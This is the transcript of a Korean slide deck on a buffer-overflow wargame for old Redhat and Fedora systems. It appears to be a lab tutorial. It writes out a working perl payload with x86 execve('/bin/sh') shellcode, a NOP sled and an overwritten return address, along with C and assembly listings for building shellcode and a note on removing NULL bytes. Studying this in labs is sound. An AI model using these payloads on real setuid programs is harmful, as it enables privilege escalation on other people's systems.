BOF 원정대

13
BOF 원원원 김김김

description

BOF 원정대. 김영성. CONTENTS. INDEX. 1 BOF 원정대 방식. 2 공격코드 삽입. 3 공격코드 작성. CONTENTS. 1] BOF 원정대. 1 Redhat 6.2 ~ Fedora 14 까지 진행하는 레벨 별 BOF 해킹실습 War-game. 2 /bin/my-pass. 3 Setuid. Owner Group Others. R W X. R W X. R W X. 2] 공격코드 삽입 (1). - PowerPoint PPT Presentation

Transcript of BOF 원정대

Page 1: BOF  원정대

BOF 원정대

김영성

Page 2: BOF  원정대

CONTENTS

INDEX

1 BOF 원정대 방식

2 공격코드 삽입

3 공격코드 작성

Page 3: BOF  원정대

CONTENTS

1] BOF 원정대

1 Redhat 6.2 ~ Fedora 14 까지 진행하는 레벨 별 BOF 해킹실습 War-game

2 /bin/my-pass

3 Setuid

R W X R W X R W X

Owner Group Others

Page 4: BOF  원정대

2] 공격코드 삽입 (1)

contants 01

< 삽입할 코드 >`perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x235,"\x28\xf9\xff\xbf"'`

< \x 의 의미 >•\x31 에서 \x 의 의미는 31 자체를 16 진수 1byte 로 삽입하라는 뜻

<perl>•`perl –e ‘print “~~~~~~”’` 이 기본구조•반복할 문자가 있을 경우 “ \x90”x235 처럼 사용가능

Page 5: BOF  원정대

2] 공격코드 삽입 (2)

contants 01

0xbffffa28 ebp-> sfp

ebp+4 Return주소

ebp-4

0xbffff928 ebp-256 Return주소

260

`perl -e 'print

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80",

"\x90"x235,

"\x28\xf9\xff\xbf"'`

Page 6: BOF  원정대

CONTENTS

3] 공격코드 작성

1 C 언어 코드 작성 , 어셈변환

2 필요한 부분만 어셈블리어 재작성

3 NULL 이 포함된 바이너리 바꿔주기

Page 7: BOF  원정대

Shell 을 띄우기 위해서는 ?

contants 01

-> System(), exec(), execve() …. 등 쉘을 띄울 수 있는 함수를 이용

main(){ char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0] ,name, NULL);}

gcc bof.c –static –o bof

* -static 옵션은 정적라이브러리 생성을 위해 사용

Page 8: BOF  원정대

Shell 을 띄우기 위해서는 ?

contants 01

ebp-> sfp

ret

ebp-4 NULL

ebp-8 “/bin/sh” 주소

ebp-c 0x0 <-ebp+10

ebp-10 ebp-8 의 주소 <-ebp+c

ebp-14 “/bin/sh” 주소 <-ebp+8

ret

sfp <-ebp

sfp

Page 9: BOF  원정대

Shell 을 띄우기 위해서는 ?

contants 01

Page 10: BOF  원정대

Shell 을 띄우기 위해서는 ?

contants 01

.globl mainmain: jmp stringsstart: popl %esi movb $0x00, 0x7(%esi) movl %esi, 0x8(%esi) movb $0x00, 0xc(%esi) movl $0x0b, %eax movl %esi, %ebx leal 0x8(%esi), %ecx movl 0xc(%esi), %edx int $0x80 movl $0x01, %eax movl $0x00, %ebx int $0x80strings:call start .string "/bin/sh"

Page 11: BOF  원정대

03│ NULL 이 포함된 바이너리코드 바꿔주기(1)

contants 01

Page 12: BOF  원정대

참고자료

contants 01

*** How to make shellcode in linux for beginners *** by Willy in Null@Root

Page 13: BOF  원정대

THANK YOU